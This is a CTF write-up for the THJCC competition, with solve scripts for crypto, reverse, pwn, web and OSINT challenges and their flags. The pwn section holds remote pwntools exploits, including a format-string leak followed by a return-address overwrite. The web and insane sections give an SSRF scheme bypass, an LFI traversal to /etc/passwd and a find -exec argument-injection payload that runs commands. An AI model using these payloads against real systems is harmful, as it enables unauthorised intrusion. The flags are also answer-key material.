didn’t expect to get 2nd LOL
Welcome
Welcome 0x2 [100]
we’re told to score 10k on the main page’s snake game:
no way im doing that! let’s look for the source code
f12, ctrl+u and right click is blocked, but we can use view-source:https://ctf.scint.org, then ctrl+f
and there’s our flag!
THJCC{Sn4ke_G4me_Mast3r}
Discord 0x2 [100]
run get_flag command using the bot… let’s use slash commands!
mfw you can’t right click on bot messages to copy text
flag: THJCC{🇩 🇮 🇸 🇨 ⭕ 🇷 🇩 🚀 🚀 🚀 💥 💥 }
Crypto
surprisingly not that difficult (except for the one in insane section i’m bad with lattices)
S-box [100]
i was expecting an aes chall whyyyyyy
basically just get the index in Sbox for each byte, then turn the indices into characters
Sbox = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
ct = 'b16e45b3d1042f9ae36a0033edfc966e00202f7f6a04e3f5aa7fbec7fc23b17f6a04c75033d12727'
print(''.join(chr(Sbox.index(x)) for x in bytes.fromhex(ct)))
VEhKQ0N7MXRfSU5ERTNkX0MwbkZ1U2VkX01lfQ==
, decode from b64 get THJCC{1t_INDE3d_C0nFuSed_Me}
girlfriend [220]
cipher stack… smh….
3x base64 + rot47 + rot13 gives our flag
THJCC{1_l0v4_y0U}
Double Secure [360]
we’re given:
e1 = 1209025818292500404898024570102134835095
e2 = 1153929820462595439034404807036436005695
c1 = 4686969000176026668142551386405961667244859179091121048789736906319941206633368871603145429789804371517689356724283665615560419220177217061394369109032009837191125570576846003108252054213375517032484936845780176686933021970145944560459910327622173020309196808011289898102369838733513418146248658989833278092245380865500885392466881751439285395948238009780473347394659944225592468491712528382644789159487141824834194698492402509087503284719144175312666038356726647193088410263987334692755831485297259782624493401642724771270618297865273123703684979261387018227373334239613596003448973775510791973553008257272497892749
c2 = 4540297725647331934905237578525216933722595392057237387765407038665230894240204449563209528605647399587374057758620064845160826850834874467466530861889560413716585086967111655199675352965186359605631990782795548688731835329324787086713207234310139569584697775020172181261458867670514322407445943849794394018705433792059849432137048644507043691822321644399785134843330851574379509992140526187868643908531989419115511712486580846719021178555911841665639917213314488825408038260194522914413314352194951861955128509119794766550025992304177755307541355358904591704417309739263026201100425174159070619496076319761127905668
n1 = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237
n2 = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237
some few observations can be made:
- \(N_1\) and \(N_2\) are the same, let’s call them both \(N\)
- \(gcd(e_1, e_2) = 5\), which is suspiciously small
using gcd, we can derive the following by Bézout’s identity:
$$a \cdot e_1 + b \cdot e_2 = 5 \; (a, b \in \mathbb{Z})$$let’s mess with the equations to make use of above:
$$ \begin{aligned} c_1^a \equiv m^{ae_1}\ (mod\ N) \\ c_2^b \equiv m^{be_2}\ (mod\ N) \\ c_1^{a}c_2^{b} \equiv m^{ae_1 + be_2}\ (mod\ N) \\ c_1^{a}c_2^{b} \equiv m^{5}\ (mod\ N) \\ m^{5} = c_1^{a}c_2^{b} + kN \; (k \in \mathbb{N}_0) \end{aligned} $$which we can just bruteforce k until we can take the 5th root of m!
from sage.all import xgcd
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
e1 = 1209025818292500404898024570102134835095
e2 = 1153929820462595439034404807036436005695
c1 = 4686969000176026668142551386405961667244859179091121048789736906319941206633368871603145429789804371517689356724283665615560419220177217061394369109032009837191125570576846003108252054213375517032484936845780176686933021970145944560459910327622173020309196808011289898102369838733513418146248658989833278092245380865500885392466881751439285395948238009780473347394659944225592468491712528382644789159487141824834194698492402509087503284719144175312666038356726647193088410263987334692755831485297259782624493401642724771270618297865273123703684979261387018227373334239613596003448973775510791973553008257272497892749
c2 = 4540297725647331934905237578525216933722595392057237387765407038665230894240204449563209528605647399587374057758620064845160826850834874467466530861889560413716585086967111655199675352965186359605631990782795548688731835329324787086713207234310139569584697775020172181261458867670514322407445943849794394018705433792059849432137048644507043691822321644399785134843330851574379509992140526187868643908531989419115511712486580846719021178555911841665639917213314488825408038260194522914413314352194951861955128509119794766550025992304177755307541355358904591704417309739263026201100425174159070619496076319761127905668
n = 11420597945352267246439779981835090037584588491333824626568197775824677557983731463999644894256311021271206322607582216071165117622146217906890462896203921594569439126093578932039659911878686760877479642041356645143332405857507389323442882056801119450744273463542565842985280903907124378453694724227573952940417047614706433822120334077857109663307700994132011851819444180430364772330302858685124576318444033580802013232598348692547021765596536182348708233890220359057622400728625965211209475438433527929412147434590769144689739875814457228384363203070599776289032593445885983011907135099807893621393301265616707684237
gcd, a, b = xgcd(e1, e2)
p = pow(c1, a, n) * pow(c2, b, n) % n
while not iroot(p, 5)[1]:
p += n
print(long_to_bytes(iroot(p, 5)[0]))
THJCC{wait_what?}
Shuffle Hell [450]
the encryption process is simply:
- for each i, initialize cipher as flag
- for each j (layer), xor an element from current layer twice with two shuffled mappings as indices
on a smaller scale, each loop’s operation is as follows:
$$ \begin{aligned} c_1 = m \oplus layer_{0,2}\oplus layer_{0,2}\oplus layer_{1,2}\oplus layer_{1,1}\oplus layer_{2,0}\oplus layer_{2,0} \\ c_2 = m \oplus layer_{0,0}\oplus layer_{0,0}\oplus layer_{1,1}\oplus layer_{1,0}\oplus layer_{2,1}\oplus layer_{2,2} \\ c_3 = m \oplus layer_{0,1}\oplus layer_{0,1}\oplus layer_{1,0}\oplus layer_{1,2}\oplus layer_{2,2}\oplus layer_{2,1} \end{aligned} $$notice that the shuffled mapping spans through 2nd index, and there are two mappings
recall XOR’s properties:
- commutativity: \(A \oplus B = B \oplus A\), reordering
- involution: \(A \oplus B \oplus B = A\), cancelling out repeats
since we want to cancel out the shufflings, lets xor all the ciphertexts together and reorder:
$$ \begin{aligned} c = m \oplus layer_{0,0}\oplus layer_{0,0}\oplus layer_{1,0}\oplus layer_{1,0}\oplus layer_{2,0}\oplus layer_{2,0}\oplus \\ m \oplus layer_{0,1}\oplus layer_{0,1}\oplus layer_{1,1} \oplus layer_{1,1}\oplus layer_{2,1}\oplus layer_{2,1}\oplus\\ m \oplus layer_{0,2}\oplus layer_{0,2}\oplus layer_{1,2}\oplus layer_{1,2}\oplus layer_{2,2}\oplus layer_{2,2} \end{aligned} \\ c = m $$which would get us the flag!
f = open("output.txt", "r")
flag = b''
for line in f:
if flag == b'':
flag = bytes.fromhex(line)
else:
flag = bytes(a ^ b for a, b in zip(flag, bytes.fromhex(line)))
print(flag)
f.close()
flag: THJCC{Xor_FoR_m4nY71M3}
Misc
png chunk [260]
we’re given Flag.png. we have our flag!
…except it’s cut off. let’s use pngcheck to investigate:
seeing this i opened HxD to check:
that’s an IDAT chunk! which is a part of image data
how can we view it? according to libpng.org:
There can be multiple IDAT chunks; if so, they must appear consecutively with no other intervening chunks.
so we can just concatenate the missing IDAT chunk after the one in the image!
lets understand IDAT’s structure first:
which means we need to jump 4 + 4 + 0xffa5 + 4 bytes, then paste the missing chunk
and then we can view it!
flag:
THJCC{PN6_@$_Y0U_LooK_so}
Sumire hime [460]
never thought my webriddle instincts would come into play
we’re only given this and 2 hints (and another useless one):
u know that?
Sumire hime is a sword!
Can you tell me what the type of the sword?
Hint 1: SlashBlade is THE BEST Minecraft mod.
Hint 2: The author lives in Taiwan.
the solution is just to be dumb
first get your google to be in taiwan region for easier searching
lets find the words for “Sumire hime” and “sword”!
searching “sumire hime” leads to this website, giving us 菫姫. we can just translate sword into 劍
searching 菫姫劍 leads to the video we want
flag: THJCC{https://youtu.be/x27Tiu2jdlE}
btw knowing that quoting things forces results to include the quoted phrase actually trolls you, since these two characters are both wrong lol (website above gave 菫姫 but video title uses 堇姬)
this is Not even osint its literally just mindreading
Happy College Life [460]
obligatory geoguessr challenge
using exiftool on the image returned nothing useful, so we actually need to look with our eyes
to begin, we need to find some landmarks that gives the location away
which we can see a logo here:
these letters can be LB or bB, but having both cases present is unlikely, so we’ll pick the former
we can then search “LB college logo”, go into google images and look for matches
that looks like it!
searching “long beach college” returns Long Beach City College and California State University, Long Beach, but only the latter logo matches, so it’s that
but how do we find the location? you don’t. remember challenge only requires precision up to the minutes, and a minute is big enough for us to bruteforce
bruting 33°46N and 33°47N, 118°06W and 118°07W gives our flag THJCC{3346N,11807W}
Pwn
im actually dogwater at pwn how did i solve 2
Peek a char [210]
we have a binary file and source code:
#include<string.h>
#include<stdio.h>
void main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[0x100];
char FLAG[] = "FLAG{fake_flag}";
printf("Enter your input: ");
scanf("%255s", buf);
while(1)
{
int i;
printf("Enter the index of the character you want to inspect: ");
scanf("%d", &i);
printf("The character at index %d is '%c'.\n", i, buf[i]);
}
}
from pwn import *
import re
io = remote('23.146.248.230', 12343)
out = b''
io.recvuntil(b': ')
io.sendline(b'asdf')
io.recvuntil(b': ')
for i in range(60):
io.sendline(str(-i).encode())
line = io.recvuntil(b': ').decode(errors='ignore')
try:
out += re.search(r"'(.*?)'", line).group(1).encode()
except:
out += b' '
print(out.decode()[::-1])

THJCC{i_ThoU9HT_i_W@S_well_HIdDen_QQ}
Infinite Recursion [350]
we have a binary file and source code:
#include <stdio.h>
#include <strings.h>
#include <time.h>
void fsb()
{
char buf[0x10];
printf("fsb> ");
scanf("%15s", buf);
printf(buf);
}
void bof()
{
char buf[0x10];
printf("bof> ");
scanf("%s", buf);
}
int rand_fun()
{
if (rand() & 1)
fsb();
else
bof();
rand_fun();
}
void main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
srand(time(0));
printf("Try to escape haha >:)\n");
rand_fun();
system("/bin/sh");
}

so we have 2 parts:
- finding base address
we can use fsb for this by bruteforcing%1$p
,%2$p
and so on
which we can find %9$p points to rand_fun+35!
let’s say it’s0x5555555552d9
, then the /bin/sh line would be0x555555555375
, giving an offset of 0x9c - modify return address
buffer size is 0x10 bytes, and it’s 64-bit so add 0x8 bytes for frame pointer, then add the address from fsb + 0x9c
payload is as follows:from pwn import * io = remote("23.146.248.230", 12355) while b'fsb' not in io.recvuntil(b'> '): io.sendline(b'z') io.sendline(b'%9$p') line = io.recvuntil(b'> ') leak = int(line[:-5].decode(), 16) payload = b'a' * 0x10 + b'b' * 0x8 + p64(leak + 0x9c) while b'bof' not in line: io.sendline(b'z') line = io.recvuntil(b'>') io.sendline(payload) io.interactive()
flag:
THJCC{E$C4Pe_FRoM_TH3_InF!NI7E_r3CURS!on}
Reverse
BMI Calculator [110]
we’re given a binary file: input weight and height, get bmi and flag
opening in IDA reveals the flag is encrypted:
v7[3] = __readfsqword(0x28u);
v7[0] = 0x581E51696960627ELL;
v7[1] = 0x1942755F1A537519LL;
v7[2] = 0x571553421D461ELL;
and an uncalled decrypt flag function
size_t __fastcall decrypt_flag(const char *a1)
{
size_t result; // rax
int i; // [rsp+1Ch] [rbp-14h]
for ( i = 0; ; ++i )
{
result = strlen(a1);
if ( i >= result )
break;
a1[i] ^= 0x2Au;
}
return result;
}
so just xor every byte with 0x2A lol
flag: THJCC{4r3_y0u_h34l7hy?}
locked unlocker [250]
we’re given locked-unlocker.cpython-310.pyc
filename indicates python 3.10, so lets use pycdc
after some patching we try to run it:
Starting decryption...
Decrypting |████████████████████████████████████████| 256/256 [100%] in 16.7s (15.40/s)
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR...
its a png! write it to a file
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
from Crypto.Util.number import *
from alive_progress import alive_bar
def unlocker(flag):
def key_decryptor(ciphertext):
c = bytes_to_long(ciphertext)
(d, n) = (0x2477CEFD961FE9B45BF3FC942F011DF849F40A5D56CE69E93ADEC92F18C71F91E52CED416AE9B5AF5311290DAB85D852CA7D11C56853063B4371119AA1A585B79FC11720A3F750302BBDE4CD46433E22F7C5FD03B69E0B846834A0BFF50E7CBF46C59F24562F886130E591AACEEFF89A50AF45728FCAC6CD3690EF5F984190366E67C9F1725ED9EE014E3CA3C45106C6B5C4EDDD8DBE760F2428F3856BDEE99B909CC332C75719FC3ED22BC398E2AA65AF87BD31B0455D443D0285CC14C284FFE61967B1FA0657BB5957C2629FEC7F215C0BD37908436ED98B1B389D342C612F1E0DC9F67900365EBA07D462A2C3BB83F0296824CA4A5651D5E29FA5913F370D, 0x745486641242C2CF6333B47DE52D28072D1F97597179693FBEB519D43D08B6D51BA293AF81F06E8FE0B49410C108029985DC6429BE637DBDF49D835DE7B43B86810640F0C645284D9A52D1A632C5343FD241D3700D6127E43C1280D2CDB3E39CB588FA07EA9DC1A1CA3AEB883CD775DDF2FC734E941F22342D2EF6730E21D2D2D782DCD55EE186122EC7D0976354A995CB4CBD7922C197075E446959C259CAB2BE6AB7FA8AAF0CD972BFA212138DA1D7AF087B6C8F14811983F09762FA6D5E8A0B9240EE71CC9919F3407ED504F32BF028D3EB9B51B4A74B776D8759401016C204E5F49C19958C71C3E012A5523E644BE725D6C9DE420CDAA10820FD8FFE9845)
m = pow(c, d, n)
plaintext = long_to_bytes(m)
return b'\x00' * (48 - len(plaintext)) + plaintext
print('Starting decryption...')
with alive_bar(256, title='Decrypting') as bar:
for i in range(256):
now_key = key_decryptor(flag[-256:])
flag = flag[:-256]
cipher = AES.new(key=now_key[:32], mode=AES.MODE_CBC, iv=now_key[32:])
flag = cipher.decrypt(flag)
flag = unpad(flag, 16)
bar()
f = open('flag.png', 'wb')
f.write(flag)
f.close()
#serial_number = input('Enter the serial number to unlock this product: ')
#if serial_number == 'WA4Au-l10ub-18T7W-u9Yx2-Ms4Rl':
# print('Unlocking...')
unlocker(open('flag.png.locked', 'rb').read())
#None('Invalid serial number. Access denied.')

THJCC{BABy_PYC_rEvErSe}
You know I know the token [310]
we’re given a binary file, where u can register/login and get/input token
opening in IDA we can see we’re prevented from registering “Administrator”
however we can patch jnz’s code 75 with jz’s code 74! lets patch it and run:
flag:
THJCC{Unm4sK1n6_7He_shA256_al9o}
Web
notepad+++ [100]
we’re given a note website where we can edit the text and view it
checking code, we notice that our session is md5-encrypted, but the server doesn’t actually check if it’s md5 or not
import time
import hashlib
from flask import Flask, g, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
@app.before_request
def auth():
if not request.cookies.get('session'):
res = make_response(redirect(url_for('root')))
g.session = hashlib.md5(str(time.time()).encode()).hexdigest()
res.set_cookie('session', g.session)
return res
g.session = request.cookies.get('session')
def getctx():
try:
with open(f'./tmp/{g.session}', mode='a+', encoding='utf8') as f:
f.seek(0)
ctx = f.read()
except:
with open(f'./tmp/{g.session}', mode='r', encoding='utf8') as f:
ctx = f.read()
return 'Hello World' if not ctx else ctx
@app.route('/')
def root():
return render_template('index.html',text = getctx())
@app.route('/profile')
def profile():
return render_template('profile.html', text = getctx())
@app.route('/save', methods=['POST'])
def save():
with open(f'./tmp/{g.session}', mode='w', encoding='utf8') as f:
f.write(request.form['text'])
return 'ok'
if __name__ == '__main__':
app.run('0.0.0.0', 80)

THJCC{tmp_1n_🐍_01b4c87cabcca82b}
proxy revenge [300]
we’re given a proxy and we need to connect http://secret.flag.thjcc.tw
for flag
const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
function CheckIfHttp(scheme) {
return scheme.startsWith('http://');
}
app.get('/fetch', (req, res) => {
const scheme = req.query.scheme;
const host = req.query.host;
const path = req.query.path;
if (!scheme || !host || !path) {
return res.status(400).send('Missing parameters');
}
const client = scheme.startsWith('https') ? https : http;
const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it
if (CheckIfHttp(scheme)) {
return res.send('Sorry, Only accepts https'); // pls no http :(
}
const url = scheme + fixedhost + path;
console.log('[+] Fetching :', url);
client.get(url, (response) => {
let data = '';
response.on('data', (chunk) => {
data += chunk;
});
response.on('end', () => {
res.send(data);
});
}).on('error', (err) => {
console.error('Error: ', err.message);
res.status(500).send('Failed to fetch data from the URL');
});
});
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on http://0.0.0.0:3000');
});
- scheme.startsWith(‘https’) only checks if the raw string starts with exactly that, and doesn’t do any filtering
which means we can just do ’ https’ or ‘hTtps’ - the host is appended with
.cggc.chummy.tw
, but we can make that a query?
or use a#
to render that useless
final payload: http://cha-thjcc.scint.org:10068/fetch?scheme=%20http://&host=secret.flag.thjcc.tw/?a=&path=/
flag:
THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}
login panel [430]
we’re given a website and the login script:
const { secret } = require('./secret.js');
var express = require('express');
var path = require('path');
var mysql = require('mysql');
var connection = mysql.createConnection(
{ host: "127.0.0.1", user: "root", password: "12345677654321", database: "challenge"});
var app = express();
app.use(express.json())
app.get('/', function (request, response) {response.sendFile(path.join(__dirname, 'index.html'));});
app.get('/login', function (request, response) {response.sendFile(path.join(__dirname, 'login.html'));});
app.post('/auth', function (request, response) {
var loginData = request.body;
loginData = Object.assign({ secret }, loginData); //oh, that's cool
connection.query(
"SELECT ? AS SECRET FROM users WHERE user = ? AND password = ?",
[loginData.secret, loginData.user, loginData.password],
(error, result) => {
if (error) {return response.status(500).send("資料庫錯誤");}
else if (result) {return response.status(200).send(result[0]["SECRET"]);}
else {return response.status(401).send("你錯了呦~");}
}
);
});
var server = app.listen(process.env.PORT || 10022, function () {
console.log(server.address().port);
});

apparently this is not how u solve it, but ill try to explain this tmrw
Insane
Blog Revenge [400]
Blog was the best challenge in THJCC, but now the revenge one would be the best!
Try to run readflag on my new blog (RCE m3 plz)
Author: whale.120
analyzing the website we see that the gif is fetched by /getimage?img=fido_hello.gif
, which i thought was a sign of LFI
i tried ../etc/passwd
and kept prepending ../
, and hit ../../etc/passwd
i then just guessed ../../app/app.py
and hit the server code (and copied all files to run locally lol)
from flask import *
import subprocess
import os
app = Flask(__name__)
@app.route("/")
def hello():
return render_template('index.html')
@app.route("/test-find-panel")
def test_find_panel():
find_query=['find', '.']
for key, value in request.args.items():
find_query.append('-'+key)
find_query.append(value)
find_result=subprocess.run(find_query, stdout=subprocess.PIPE).stdout
return find_result
@app.route("/getimage")
def getimage():
img_name = request.args.get('img')
if img_name:
img_path = 'static/'+img_name
if os.path.isfile(img_path):
return send_file(img_path)
else:
abort(404, description="Image not found")
else:
return "No image specified", 400
if __name__ == '__main__':
app.run(host="0.0.0.0", port=13370, debug=True)
i added below two lines for better testing:
print(subprocess.list2cmdline(find_query), flush=True)
print(find_query, flush=True)
naively i tried to use || to execute extra command and fail the find command
works on local but not on server, so i figured the subprocess command only allows us to pass find arguments
though find command actually has -exec! with a condition:
All following arguments to find are taken to be arguments to the command until an argument consisting of `;’ is encountered.
so end the payload in an arbitrary argument with value ;
-exec "./readflag" -hahaiwin ;
-> ?exec=./readflag&hahaiwin=;
uh oh! we need to send 2 too
simply using a pipe wouldnt work, cause find will interpret the whole string as a filepath:
-exec "echo '2' | ./readflag" -hahaiwin ;
-> ?exec=echo%20%272%27%20|%20./readflag&hahaiwin=;
2024-12-22 01:30:05 find . -exec "echo '2' | ./readflag" -hahaiwin ;
2024-12-22 01:30:05 ['find', '.', '-exec', "echo '2' | ./readflag", '-hahaiwin', ';']
2024-12-22 01:30:05 find: ‘echo '2' | ./readflag’: No such file or directory
however we can use sh -c
! which works with string input
-exec sh -c "echo '2' | ./readflag" -hahaiwin ;
-> ?exec=sh&c=echo%20%272%27%20|%20./readflag&hahaiwin=;
yay! flag:
THJCC{argument_injection_never_die}